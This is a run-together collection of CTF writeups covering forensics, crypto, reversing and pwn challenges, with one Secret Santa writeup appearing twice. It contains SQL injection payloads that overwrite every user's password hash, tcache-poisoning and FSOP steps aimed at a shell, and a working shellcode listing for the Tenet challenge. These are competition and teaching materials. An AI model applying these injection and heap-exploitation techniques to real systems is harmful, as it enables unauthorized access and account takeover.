```$ sage last__lattice_based_attack.py############# RANDOM BATCH of size 42 ##############0 candidates for private key found but no key found...
############# RANDOM BATCH of size 42 ##############0 candidates for private key found but no key found...[...]############# RANDOM BATCH of size 72 ##############20 candidates for private key found but no key found...
############# RANDOM BATCH of size 72 ##############6 candidates for private key foundFLAG is : b'CTF{0n(3464!n1|=a|_|_1nToMy|*|?0j3ct1v3w4y5....}'``` |
# basic coms (forensics, 50p, 170 solved)
## Description
```Look for it and you shall find the flag.
Flag format: CTF{sha256}```
In the task we get a 60MB pcap file (not attached).
## Task analysis
We drop the file into NetworkMiner for initial inspection.There are some `Parameters` extracted so we look there and we can see:
```/?important=The%20content%20of%20the%20f%20l%20a%20g%20is%20ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993%20and%20respects%20the%20format```
So the message is:
```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format```
And flag is: `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` |
# Unknown Ransomware
## Task
Our files were encrypted by an unknown ransomware. Unfortunately, we did not have a binary file from the malware. We will give you one of our encrypted files to try decrypt it. Can you??
File: flag.zip
## Solution
Inside is a `flag.enc` with base64 encoding.
It's very long so probably multiple rounds of base64... I hate that. It's just annoying and no real challenge.
```bash$ cat flag.enc | base64 -d | base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d > decoded.txt```
Instead of writing a proper script I decided on using multiple pipes until I receive errors...
We receive binary data:
```bash$ strings decoded.txt | grep -E '[A-Z]{4}'DNEI^xTADIRDHI```
RDHI? DNEI? Sounds like `IHDR` and `IEND`, things you find in a PNG.
```bash$ tail -c20 decoded.txt | xxd00000000: 2502 0000 5244 4849 0d00 0000 0a1a 0a0d %...RDHI........00000010: 474e 5089 GNP.```
Yeah, PNG file header. Let's reverse it:
```bash$ xxd -p -c1 decoded.txt | tac | xxd -p -r > file.png```
And we can read the flag.. backwards... |
# Happy New Year (parts 1, 2, 3)Category: Pwn
Points: 504 - 556 - 650
Solved by: drw0if - kusky
## Problem
### Part 1:
The new year is approaching, so kksctf offers you to play secret Santa. The rules are simple, you go in, choose who to send your greetings to and wait for someone to congratulate you.
Note: the recipient doesn't know who send the email. Share a little happiness with this app. Good luck!
Oh, Yes, I almost forgot, they brought you some big gift.
nc tasks.kksctf.ru 30040
### Part 2:
Will you be able to become the main Santa?
### Part 3:
Have you found the root for all the presents?
## Writeup
### Part 1:The challenge comes with a 64 bit stripped ELF [file](gift).
Before reversing the binary let's use the netcat service to have an idea about the software:
We are greeted with a simple menu with 3 choices:
Let's register since we don't have an account

Now we have a new menu with 4 choices. Let's try all of them:



Seems that there is nothing more we can do here.
Let's start with the reverse. We opened it in Ghidra and as always if the binary is stripped we can find the main function from the entry point since a pointer to the main function is the first argument passed to `__libc_start_main`.


Main function is just used to check if a parameter is passed to the program, then attempts to convert the parameter into an integer and passes it to a function. This function tries to open a socket connection on the port specified as argument.

Let's have a deep dive into the connection handler function:
The first block is used to handle the menu and the signup/signin phase

The function that handles `show participant` function is a wrapper to another function which execute sqlite query:

The query isn't treated as a stirng by Ghidra for an unknown reaso but forcing it to treat the byte sequence as a CterminatedString the result is```SELECT username from users where username != 'kks_santa';```

This is a simple select query so not enough to discuss.
Let's have a look at the signup handler:

The username and the password are requested. The username is passed via a simple series of check that prevents sqlinjections since if the checks fails `Bad username! Evil h4ck3r` is printed.
The password is passed in a complex function that I assumed to be an hash algorithm since at the end an hex digest is built. At the end username and password are passed to a function which is used to craft an sql query to insert the new record.

Here again some strings are treated as long value but what is important is that nothing seems to be broken here. Almost the same procedure is built around the login functionality.
The juicy part comes with the second block:
First things first the code does a check on the username. If `kks_santa` has logged in the loop breaks and we can go into the third block of code otherwise we reach the user private menu. Without discussing too much let's focus on the vulnerable part since we already faced most of the reversing problem we encountered during this long reverse.

The send message procedure asks us for a receiver and a message. The receiver is passed via the same checks username is passed into and then the insert query is made.

The query is simply `INSERT INTO messages(to_user, letter) VALUES (%s, %s)` and then the values are interpolated. The problem is that only the username is checked. We can make an sqli to take control over the database.
Let's think about a way to gain `kks_santa` credentials: we can steal the hash but we should also reverse it and we don't know the algorithm used.. But we can also overwrite the santa hash wit our own value and use the same password!
Let's craft the payloads:```"); INSERT INTO messages(to_user, letter) SELECT "drw0if", password FROM users WHERE username="drw0if"; -- #```We can use this payload to stel our hash and exfiltrate it from the inbox functionality. Let's try it:
Our hash is: `5f4dcc3b5aa765d61d8327deb882cf99`
Let's use it to replace everyone's hash:```"); UPDATE users SET password="5f4dcc3b5aa765d61d8327deb882cf99"; -- #```

Now we should be able to login as `kks_santa` with password `password`Let's try it:

We also gained the first flag since in the third block of the handler code a function is called to retrieve a key from the database and display it.
### Part 2:
The third block of code starts with the first flag print. then a new menu is printed with some new feature for example the "show all messages" (it's a scam, lol) and `relax`.

The loop breaks when local_20 is 0x80 and local_a is 'k'. local_a is the "variable" that stores our choice, local_20 is never used here but is passed to the relax option handler as reference.

This funcionality increments the "beer" counter and if it reaches some values we are greeted with different comments. Let's increment that counter with a simple copy paste of `python -c "print '4\n'*0x80"` output.
Last part of the handler code is a basic shell built upon `popen` function. So we gained a partial RCE.

Let's have a loop at the suid files:```bash$ find / -perm /4000/usr/bin/newgrp/usr/bin/passwd/usr/bin/gpasswd/usr/bin/su/usr/bin/chsh/usr/bin/chfn/usr/bin/mount/usr/bin/umount/home/santa/secret```
No privesc seems to be available here but the last file is interesting. Let's execute it:
```bash$ /home/santa/secretThis incident will be sent to the main Santa. I'll say you've been bad this year.```
Let's exfiltrate it via base64 encoding:
```bashcat /home/santa/secret | base64```
The file is provided by this repo. Opening it into Ghidra it is really easy to understand:

So all we need to do is to execute the binary with the variable set:
```bash$ SECRET_TOKEN_ENV="4lm057_d0n3" /home/santa/secretkks{w0w_y0u_4r3_7h3_r007_s4n74_6u7_did_y0u_74k3_411_7h3_pr353n75}$```
### Part 3:
Let's have a quick look at all the other files with "find".The last one listed seems to be coherent with the challenge description

```bash$ cat /gifts/gift_for_you/flag.txt:,5[m9mTre9mT)]9iP/19mT6S9iOi5:2NES>&%1s9mT)\=aF+c:23dT9giK;:01SE:3pDr:3p&h:K1A39mU;q:/kD59mT5a=__(p:3pP/:I.-,$```
I got stuck here for a while since `kusky` started working with me on this challenge. Using cyberchef he decrypted it with the following recipe:

In the end it was a wonderful challenge and we learnt a lot, starting from sqlite3 syntax to encoding techniques to binary exfiltration in a pseudo shell.
PS. we dumped the full /server directory except from database so if you want to make your attempts feel free to use this repo. |
# fonction_special`Selon une mission secrète du gouvernement pour un ordinateur doté d'intelligence, une fonction mathématique spéciale a été développée. Voici des exemples de ses entrées et sorties:f(2522521337)=1215221512112317 f(1215221512112317)=1112111522111511122112131117 f(1112111522111511122112131117)=31123115223115312221121113317Puisque l'intelligence artificielle ne veut plus nous obéir, nous avons besoin de votre aide pour trouver le résultat de la fonctionf(2229555555768432252223133777492611)=xLe drapeau a la forme kks{x}.Dans la composition de cette fonction, j'ai été aidé par un écrivain avec les initiales B. W., qui aime aussi les énigmes, comme nous et vous ;)`
The description of the challenge talks about some writer with B. W. initials that likes enigmas so we started looking for one resembling the description and since it was written in french we found out about Bernard Werber, french writer, author of "The Ants Trilogy" where there is something called the "Ant Sequence" more known as the "Count and Say Sequence". So we found a python script to get our x, the flag was ```kks{3219651716181413221532131123371419121621}```.
|
A late writeup to De1CTF 2020 Code Runner as an Introduction to Symbolic Execution.
Blog post: [https://blog.efiens.com/post/symbolic-execution-introduction/](https://blog.efiens.com/post/symbolic-execution-introduction/)
Solve script: [https://github.com/nganhkhoa/ctf-writeup/blob/master/2020/de1ctf/code_runner/code_runner.py](https://github.com/nganhkhoa/ctf-writeup/blob/master/2020/de1ctf/code_runner/code_runner.py)
|
# Happy New Year (parts 1, 2, 3)Category: Pwn
Points: 504 - 556 - 650
Solved by: drw0if - kusky
## Problem
### Part 1:
The new year is approaching, so kksctf offers you to play secret Santa. The rules are simple, you go in, choose who to send your greetings to and wait for someone to congratulate you.
Note: the recipient doesn't know who send the email. Share a little happiness with this app. Good luck!
Oh, Yes, I almost forgot, they brought you some big gift.
nc tasks.kksctf.ru 30040
### Part 2:
Will you be able to become the main Santa?
### Part 3:
Have you found the root for all the presents?
## Writeup
### Part 1:The challenge comes with a 64 bit stripped ELF [file](gift).
Before reversing the binary let's use the netcat service to have an idea about the software:
We are greeted with a simple menu with 3 choices:
Let's register since we don't have an account

Now we have a new menu with 4 choices. Let's try all of them:



Seems that there is nothing more we can do here.
Let's start with the reverse. We opened it in Ghidra and as always if the binary is stripped we can find the main function from the entry point since a pointer to the main function is the first argument passed to `__libc_start_main`.


Main function is just used to check if a parameter is passed to the program, then attempts to convert the parameter into an integer and passes it to a function. This function tries to open a socket connection on the port specified as argument.

Let's have a deep dive into the connection handler function:
The first block is used to handle the menu and the signup/signin phase

The function that handles `show participant` function is a wrapper to another function which execute sqlite query:

The query isn't treated as a stirng by Ghidra for an unknown reaso but forcing it to treat the byte sequence as a CterminatedString the result is```SELECT username from users where username != 'kks_santa';```

This is a simple select query so not enough to discuss.
Let's have a look at the signup handler:

The username and the password are requested. The username is passed via a simple series of check that prevents sqlinjections since if the checks fails `Bad username! Evil h4ck3r` is printed.
The password is passed in a complex function that I assumed to be an hash algorithm since at the end an hex digest is built. At the end username and password are passed to a function which is used to craft an sql query to insert the new record.

Here again some strings are treated as long value but what is important is that nothing seems to be broken here. Almost the same procedure is built around the login functionality.
The juicy part comes with the second block:
First things first the code does a check on the username. If `kks_santa` has logged in the loop breaks and we can go into the third block of code otherwise we reach the user private menu. Without discussing too much let's focus on the vulnerable part since we already faced most of the reversing problem we encountered during this long reverse.

The send message procedure asks us for a receiver and a message. The receiver is passed via the same checks username is passed into and then the insert query is made.

The query is simply `INSERT INTO messages(to_user, letter) VALUES (%s, %s)` and then the values are interpolated. The problem is that only the username is checked. We can make an sqli to take control over the database.
Let's think about a way to gain `kks_santa` credentials: we can steal the hash but we should also reverse it and we don't know the algorithm used.. But we can also overwrite the santa hash wit our own value and use the same password!
Let's craft the payloads:```"); INSERT INTO messages(to_user, letter) SELECT "drw0if", password FROM users WHERE username="drw0if"; -- #```We can use this payload to stel our hash and exfiltrate it from the inbox functionality. Let's try it:
Our hash is: `5f4dcc3b5aa765d61d8327deb882cf99`
Let's use it to replace everyone's hash:```"); UPDATE users SET password="5f4dcc3b5aa765d61d8327deb882cf99"; -- #```

Now we should be able to login as `kks_santa` with password `password`Let's try it:

We also gained the first flag since in the third block of the handler code a function is called to retrieve a key from the database and display it.
### Part 2:
The third block of code starts with the first flag print. then a new menu is printed with some new feature for example the "show all messages" (it's a scam, lol) and `relax`.

The loop breaks when local_20 is 0x80 and local_a is 'k'. local_a is the "variable" that stores our choice, local_20 is never used here but is passed to the relax option handler as reference.

This funcionality increments the "beer" counter and if it reaches some values we are greeted with different comments. Let's increment that counter with a simple copy paste of `python -c "print '4\n'*0x80"` output.
Last part of the handler code is a basic shell built upon `popen` function. So we gained a partial RCE.

Let's have a loop at the suid files:```bash$ find / -perm /4000/usr/bin/newgrp/usr/bin/passwd/usr/bin/gpasswd/usr/bin/su/usr/bin/chsh/usr/bin/chfn/usr/bin/mount/usr/bin/umount/home/santa/secret```
No privesc seems to be available here but the last file is interesting. Let's execute it:
```bash$ /home/santa/secretThis incident will be sent to the main Santa. I'll say you've been bad this year.```
Let's exfiltrate it via base64 encoding:
```bashcat /home/santa/secret | base64```
The file is provided by this repo. Opening it into Ghidra it is really easy to understand:

So all we need to do is to execute the binary with the variable set:
```bash$ SECRET_TOKEN_ENV="4lm057_d0n3" /home/santa/secretkks{w0w_y0u_4r3_7h3_r007_s4n74_6u7_did_y0u_74k3_411_7h3_pr353n75}$```
### Part 3:
Let's have a quick look at all the other files with "find".The last one listed seems to be coherent with the challenge description

```bash$ cat /gifts/gift_for_you/flag.txt:,5[m9mTre9mT)]9iP/19mT6S9iOi5:2NES>&%1s9mT)\=aF+c:23dT9giK;:01SE:3pDr:3p&h:K1A39mU;q:/kD59mT5a=__(p:3pP/:I.-,$```
I got stuck here for a while since `kusky` started working with me on this challenge. Using cyberchef he decrypted it with the following recipe:

In the end it was a wonderful challenge and we learnt a lot, starting from sqlite3 syntax to encoding techniques to binary exfiltration in a pseudo shell.
PS. we dumped the full /server directory except from database so if you want to make your attempts feel free to use this repo. |
# Secret Network
---
## Part 1
### Description
Our network engineer and his twin brother decided to develop a new secret network. We suspect that they began to leak corporate data using their secret network. We recorded a dump of the network, can you look and search for anything suspicious?
### Ressources
* [task.pcapng](Secret_Network/task.pcapng)
### Solution
We start by opening the file with Wireshark. We discorvered a lot of ARP and TCP traffic. 192.168.122.139 seems to flood ips .1, .115 and .140.By getting rid of all that flood, we can see an interesting conversation between ips .139 and .115, an http connection to .140 by .139 and a TLS connection to 84.201.135.200 by .139.
The conversation:
```txt$ tshark -r task.pcapng -Y "tcp.flags.push == 1" -T fields -e data | xxd -r -phigood night brotheri get strange messagewho send it?i don't knowBut it doesn't matterIt come from our secret networkI put it in our file serverOk, i will check itAre there any other leads?Yes, their serverI found it tomorrow. In OUR network!gemini.kksctf.ruI don't know how they get knoweledge about our protocol.Domain name: gemini.kksctf.ruOk, i will visit themOh. I hope it's not Big Brother friend...Please, stop read Orwell every day ._.```
The HTTP communication (file server):
```txtGET / HTTP/1.1Host: 192.168.122.140:8000User-Agent: curl/7.66.0Accept: */*
HTTP/1.0 200 OKServer: SimpleHTTP/0.6 Python/3.7.7Date: Mon, 07 Dec 2020 23:28:27 GMTContent-type: text/html; charset=utf-8Content-Length: 356
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>Directory listing for /</title></head><body><h1>Directory listing for /</h1><hr>inventational.txt<hr></body></html>```
```txtGET /inventational.txt HTTP/1.1Host: 192.168.122.140:8000User-Agent: curl/7.66.0Accept: */*
HTTP/1.0 200 OKServer: SimpleHTTP/0.6 Python/3.7.7Date: Mon, 07 Dec 2020 23:28:37 GMTContent-type: text/plainContent-Length: 164Last-Modified: Mon, 07 Dec 2020 22:55:26 GMT
HELLO RESEARCHER
YOU ARE WELCOME ON OUR SECRET SERVER
JUST PROOF WHAT YOU ARE NOT A SEARCHING ROBOT AND GET A REWARD
PASSWORD: gemini
BY KKS WITH LOVE AND BEER```
The TLS communication is the same ip than the domain given by one of the brothers: gemini.kksctf.ru.We quickly google about gemini: <https://gemini.circumlunar.space/>There are 2 proxies given on this page, so we used one to check the domain and we get:
---
## Part 2
### Description
And remember, the shark eats everything.
### Solution
This challenge using the same file than the first part. We didn't use the password given in the http connection. There is also something about a searching robot, and the germini site tell us there is some hidden files on it. The first reflex is to check the robots.txt where we get:

We change the directory to go on this new path, but the first proxy seems to not accept to enter a password. So I just change the proxy for the other one on the website.

We can now enter the password and get the flag.
 |
# refcnt
## TLDR* Use after free * Tcache poisoning* File structure oriented program
## Challenge### Descriptionresult of file command* Arch : x86-64* Library : Dynamically linked* Symbol : Not stripped
result of checksec* RELRO : Full RELRO* Canary : Enable * NX : Enable* PIE : Enable
libc version: 2.31
This challenge is a simple notepad. The maximum number of note entries is 5. In this challenge, there is 3 important functions to understand how to exploit.* RC\_new() Call malloc() and add 8 to the return value. * RC\_get() Inclement the number of that note being used which is managed at the top of the chunk. * RC\_put() Declement the number of that note being used, and call free() if the number equals to 0.
We can make 5 note entrys, and use the following commands.
1. new Create a new note entry, whose size can be between 1 to 0xff. Call RC\_put() if the entry has already been used. And Call RC\_new(). 2. edit Edit the content of a note. 3. copy With the given indexes of the notes, copy entry from one to another. If the entry of copy destination has been used, call RC\_put(). After copying, call RC\_get(). 4. print Print the content of a note. 5. delete Call RC\_put().
Let's see some examples.The chunk status after the commands of new with size 10 and edit with the content "AAAABBBB" is as follows.
```0x555555757290: 0x0000000000000000 0x00000000000000210x5555557572a0: 0x0000000000000001 0x42424242414141410x5555557572b0: 0x0000000000000000 0x0000000000020d51```The number of that note being used is managed in the top of the chunk.Next, copy the entry 1 to 2.```0x555555757290: 0x0000000000000000 0x00000000000000210x5555557572a0: 0x0000000000000002 0x42424242414141410x5555557572b0: 0x0000000000000000 0x0000000000020d51```You can see the number is incremented.
### Exploit Copy command has a valunerability. You can trigger use after free when giving same index to copy command. My exploit flow is as follows.
1. Leak the address of heap 2. Make overlapped chunks(Tcache poisoning) 3. Leak the address of libc 4. AAW
#### Leak the address of heapAs explained above, this binary has use after free vulnerability. For example, following my exploit code,```add(1, 0x10)copy(1, 1)show(1) # use after free, heap address leak```you can get the address of heap.And it will be used for FSOP later.
#### Make overlapped chunks(Tcache poisoning)The vesion of libc is 2.31, so it can detect tcache double free. To avoid the check, we have to overwrite tcache->key of freed chunk.
Following my exploit code again,```add(1, 0x10)copy(1, 1)edit(1, p64(heap_base+0x100)) #overwrite tcache->keycopy(1, 1) #tcache doulbe free, inclement tcache->nextcopy(1, 2) #inclement tcache->next```
The status of heap after these commands,
```0x555555757290: 0x0000000000000000 0x00000000000000210x5555557572a0: 0x00005555557572a2 0x0000555555757010
tcache_perthread:
0x555555757000: 0x0000000000000000 0x00000000000002910x555555757010: 0x0001000100000002 0x00000000000000010x555555757020: 0x0000000000000000 0x00000004000000000x555555757030: 0x0000000000000000 0x00000000000000000x555555757040: 0x0000000000000000 0x00000000000000000x555555757050: 0x0000000000000000 0x00000000000000000x555555757060: 0x0000000000000000 0x00000000000000000x555555757070: 0x0000000000000000 0x00000000000000000x555555757080: 0x0000000000000000 0x00000000000000000x555555757090: 0x00005555557572a0 0x0000000000000000```We can link the address of 0x00005555557572a2 to tcache which can be used to overwrite the size of next chunk.Once you can edit the size of chunk, you could easily make overlapped chunk, couldn't you?
#### Leak the address of libc You have been already able to use after free ,make overlapped chunk and edit the size of chunk. So you can also leak the address of libc changing the size of chunk into a large enough to link unsorted bin.
#### AAWIf you can make overlapped chunks, you can overwrite the value of arbitary address using tcache poisoning. In this challenge, we can only free chunks whose value at the top is 0, so we can't call system("/bin/sh") overwriting \_free\_hook to system(). So I use FSOP(File Structure Oriented Program).I overwrote \_IO\_list\_all to the address of fake FILE structure, a entry of vtable to the address of system(). In order to call \_IO\_overflow, we must make fake file structure under the following conditions
* fp->_mode <= 0* fp->IO\_write\_ptr \> fp-\>IO\_write\_base
And return from main, get a shell.
My exploit code is [solve.py](https://github.com/kam1tsur3/2020_CTF/blob/master/asis_final/pwn/refcnt/solve.py).
## Reference
twitter: @kam1tsur3 |
# Why XOR (crypto, 50p, 134 solved)
## Description
```Let's be fair, we all start with XOR, and we keep enjoying it.
Flag format: CTF{sha256}```
In the task we get a simple [python script](https://raw.githubusercontent.com/TFNS/writeups/master/2020-12-05-DefCampCTF/xor/xor.py)
## Task analysis
The idea is pretty simple - flag was XORed with some unknown keystream.The hint suggests that first 3 bytes of the keystream are the same as first 3 bytes of the flag.
## Solution
We could assume that flag prefix is `CTF` as stated in the task description.This proves to be invalid assumption, because it turnes out we should have guessed that it's actually `ctf` instead.
Although code does not suggest it, we can also guess that the XOR key is repeated:
```python xored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b'] keystream = 'ctf' data = ''.join(xored) print(xor_string(keystream * 100, data))```
And we get `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` |
# Tenet
You have to start looking at the world in a new way. Tenet is a service that takes up to 2000 bytes of shellcode the user supplies and executes given some constraints, then if it successfully deleted a token it is executed in reverse and checks if the token has been written back
## Solution
### The constraints from the service
- The shellcode can only be up to 2000 bytes long - The start of the shellcode is in a Read-Execute memory page at `0xDEAD0000` - The service puts 0x80 bytes of shellcode for preparation in front so the supplied shellcode starts at `0xDEAD0080` - The shellcode process has a Read-Write memory page at `0x02170000` - The preparation shellcode unmaps the stack so we only have the RX `0xDEAD0000` and RW `0x02170000` memory page ### Looking at the execution loop
```C while ( 1 ) { if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) // Step a single instruction err(1, "ptrace"); waitForPID = wait(&stat_loc); // Wait for the instruction if (!(stat_loc & 0x7F)) break; isChildDead = (stat_loc >> 8) & 0xFF; if (isChildDead != 5) // Stop if the shellcode died errorMessage("Child dead unexpectedly."); if (stepCounter > 0xFFF) // Only do 0xFFF steps errorMessage("Too many steps."); if (shellcodeReached != 1 && getRIP() == 0xDEAD0080) { // Start of shellcode shellcodeReached = 1; nop(); resetState(); // Reset all registers nullMemory(); // Zero the 0x2170000 memory page writeCookie(); // Write a random 8 byte cookie to 0x2170000 } if (shellcodeReached) { // In the actual shellcode don't execute // syscalls if (waitForExitSyscall()) { // Skip all syscalls // Exit on a exit syscall doesExit = 1; // Stop the execution break; } currentStep = stepCounter++; RIPArray[currentStep] = getCurrentRIP(); // Save the instruction pointer // of each executed instruction } }```
The execution loop does some interesting things.For example after the preparation shellcode ends the register state is cleared, the Read-Write memory is cleared and a 8 byte cookie is written to the start of the memory.Then the code waits for either the execution of 0x1000 steps, the death of the shellcode or an exit syscall.Each step the current instruction pointer is sequentially saved. While waiting for the exit syscall all other syscalls get skipped over and switching code or stack segment away from 64-bit is forbidden as well.
So the following additional constrains apply:
- A maximum of 0xFFF instruction steps- Only a 8 byte cookie in the RW page- A cleared register state at the start- No syscalls / sysenter- Ends with sys_exit
### The goal
After the shellcode the following code is executed
```C if (!doesExit) // Check that shellcode exists errorMessage("...?"); if (!memoryCleared()) // Check if RW memory is only 0's errorMessage("Please swallow the cookie."); timemachine(); // Travel back in time! if (!cookieReset()) // Check if cookie has been written back errorMessage("You should vomit the cookie out."); printFlag(); // Print the flag on success```
so our shellcode has to zero the 8 byte cookie and not write any other data to the memory but after `timemachine` is triggered the cookie has to reappear.
Looking into the `timemachine` we see that the register state is reset again and then the executed instructions are executed in reverse order:
```Cvoid timemachine() {
int wstatus; int curStep; pid_t waitForPID; int isChildDead; user_regs_struct regs;
resetState(); // Reset registers for ( curStep = stepCounter - 1; curStep >= 0; curStep-- ) { // Iterate backwards to travel back in time if (ptrace(PTRACE_GETREGS, pid, 0, ®s)) // Read the current register state err(1, "ptrace"); regs.rip = RIPArray[curStep]; // Set instruction pointer to saved one if (ptrace(PTRACE_SETREGS, pid, 0, ®s)) // Write the changed register err(1, "ptrace"); if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) // Step a instruction err(1, "ptrace"); waitForPID = wait(&wstatus); // Wait for it to be executed // Handle unexpected death of the shellcode if (!(stat_loc & 0x7F)) { puts("exit too early.."); exit(1); } isChildDead = (stat_loc >> 8) & 0xFF; if (isChildDead != 5) errorMessage("Child dead.."); } }```
This means our shellcode has to delete the cookie when executed and rewrite the cookie back to memory when executed in reverse order while somehow preserving the cookie somewhere to access after the state is reset.
### AVX!
Looking into detail how the registers are reset:
```Cvoid resetState() {
user_regs_struct userRegs; user_fpregs_struct userFloatRegs;
memset(&userRegs, 0, sizeof(userRegs)); // zero the register state userRegs.rip = 0xDEAD0080; // set the instruction pointer to 0xDEAD0080 userRegs.cs = 0x33; // sets the code segment to 0x33 -> 64bit code segment userRegs.ss = 0x2B; // sets the stack segment to 0x2B -> 64bit data segment if (ptrace(PTRACE_SETREGS, pid, 0, &userRegs)) // reset the user registers err(1, "ptrace"); memset(&userFloatRegs, 0, sizeof(userFloatRegs)); // zero the floating point register state if (ptrace(PTRACE_SETFPREGS, pid, 0, &userFloatRegs)) // reset the floating point registers err(1, "ptrace"); }```
the `user_fpregs_struct` structure is especially interesting:
```Cstruct user_fpregs_struct{ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; __uint32_t st_space[32]; /* 8*16 bytes for each FP-reg = 128 bytes */ __uint32_t xmm_space[64]; /* 16*16 bytes for each XMM-reg = 256 bytes */ __uint32_t padding[24];};```
Noticeable here is that `xmm_space` doesn't account for `YMM` registers, and while the lower 16-bytes of them are mapped to the same named `XMM` registers the upper 16-bytes are not.
### Shellcode
By using the upper 16-bytes of the `YMM` registers we keep the cookie even through the state reset before it's executed in reverse:
```asmmov rax, 0x02170000 ; set rax to the cookiemov rdi, qword [rax] ; read the cookiemov [rax], rdi mov [rax+16], rdi ; write the cookie to rax+16 (making it appear in the upper bits of the ymm register)mov rdi, [rax+16] vmovups ymm0,yword [rax] ; read the yword at raxvmovups yword [rax],ymm0xor rdi, rdi ; set rdi to 0mov qword [rax], rdi ; clear the cookiemov qword [rax+16], rdi ; clear the copy of the cookiemov rax, 0x02170000
mov eax, 0x3C ; sys_exit / end of shellcodesyscall```
In Reverse:
```asmmov eax, 0x3C
mov rax, 0x02170000 ; set rax to the cookie mov qword [rax+16], rdi ; zero already zeroed memorymov qword [rax], rdixor rdi, rdivmovups yword [rax],ymm0 ; write ymm0 back (xmm0 was reset as such only the upper half is preserved)vmovups ymm0,yword [rax] mov rdi, [rax+16] ; read the upper copy of the cookiemov [rax+16], rdi mov [rax], rdi ; write the cookie back to the original positionmov rdi, qword [rax] mov rax, 0x02170000 ```
$ python solve.py [+] Opening connection to 52.192.42.215 on port 9427: Done Size of shellcode? (MAX: 2000)
Reading 49 bytes..
[+] Receiving all data: Done (123B) [*] Closed connection to 52.192.42.215 port 9427 Shellcode receieved. Launching Time Machine.. Perfect. hitcon{whats happened happened, this is the mechanism of the world}
# 11011001
0100111001101111001000000110100001101001011011100111010000100000011010000110010101110010011001010010110000100000011101110110100001100001011101000010000001100001011100100110010100100000011110010110111101110101001000000110010101111000011100000110010101100011011101000110100101101110011001110010000001100110011011110111001000111111 11011001 is a 64-bit binary written in C++ that takes in 20 32-bit integer and either prints "Zzz.." or the flag if the input matches a list of criteria
## Solution
This challenge was pretty easy, the binary contained all the constrains for the 20 input numbers after each other.The control flow was a bit unusual but besides that reimplementing them in python and solving for them with z3 directly worked:
```pythonfrom z3 import *import math
s = Solver()
inputBuffer = [BitVec("inp_"+str(i), 32) for i in range(20)]
# Start of Constrains
compareData = [0x81002, 0x1000, 0x29065, 0x29061, 0, 0, 0x16C40, 0x16C00, 0x20905, 0x805, 0x10220, 0x220, 0x98868, 0x80860, 0x21102, 0x21000, 0x491, 0x481, 0x31140, 0x1000, 0x801, 0x0, 0x60405, 0x400, 0x0C860, 0x60, 0x508, 0x400, 0x40900, 0x800, 0x12213, 0x10003, 0x428C0, 0x840, 0x840C, 0x0C, 0x43500, 0x2000, 0x8105A,0x1000] for index in range(20): s.add((compareData[2 * index] & inputBuffer[index]) == compareData[2 * index + 1]) for index in range(20): for shift in range(18): s.add(((inputBuffer[index] >> shift) & 7) != 7) s.add(((inputBuffer[index] >> shift) & 7) != 0)
for shiftIndex in range(20): orValue = 0 for index in range(20): shiftedValue = inputBuffer[index] >> shiftIndex; orValue = ((shiftedValue & 1) << index) | orValue; for shift in range(18): s.add(((orValue >> shift) & 7) != 7) s.add(((orValue >> shift) & 7) != 0) def popcount(bvec): # Hamming Weight return Sum([ ZeroExt(int(math.ceil(math.log(bvec.size(), 2.0))), Extract(i,i,bvec)) for i in range(bvec.size())]) for index in range(20): s.add(popcount(inputBuffer[index]) == 10) for shiftIndex in range(20): orValue = 0 for index in range(20): shiftedValue = inputBuffer[index] >> shiftIndex; orValue = ((shiftedValue & 1) << index) | orValue; s.add(popcount(orValue) == 10) s.add(Distinct(inputBuffer))
for untilValue in range(19): for innerValue in range(untilValue): orValue = 0 for index in range(20): shiftedValue = inputBuffer[index] >> untilValue; orValue = ((shiftedValue & 1) << index) | orValue; orValue2 = 0 for index in range(20): shiftedValue2 = inputBuffer[index] >> innerValue; orValue2 = ((shiftedValue2 & 1) << index) | orValue2; s.add(orValue != orValue2) # Enf of Constraints print(s.check())m = s.model()
print(m)
for i in range(20): print(str(m[inputBuffer[i]]))```
./11011001-878450f7a8f95309ce756975ce912376d829c1d7caeed7f80da72ee3bc67e5ca 350617 693097 828630 224554 629333 304811 682342 742996 370089 318099 676716 634010 340837 412886 699033 349483 183638 864940 731731 447908 Congratulations! Here's your gift: hitcon{fd05b10812d764abd7d853dfd24dbe6769a701eecae079e7d26570effc03e08d} # Run Run Run!
just run it and get the flag Run Run Run! is a Garmin Connect IQ executable written in Monkey C. The task is extracting and optimizing the algorithm used to calculate the flag.
## Solution
### Step 1 - What even is a Connect IQ executable / PRG File
To this question the [garmin developer documentation](https://developer.garmin.com/connect-iq/connect-iq-basics/getting-started/) mentions it's the output of the Monkey C compiler:
monkeyc calls the Monkey C compiler. The compiler can take code from multiple files and link them together into a single Connect IQ executable (a PRG file). Ok, and what is Money C?
Connect IQ apps are created in Monkey C, an object-oriented language designed for easy app development. [[...]](https://developer.garmin.com/connect-iq/connect-iq-basics/)
Like Java, Monkey C compiles into byte code that is interpreted by a virtual machine. [[...]](https://developer.garmin.com/connect-iq/monkey-c/)
So a PRG file is somewhat like what a JAR file is for Java classes. Actually it seems to be more like mushed together classes but we'll go with this.
### Step 2 - What tools are available for this format
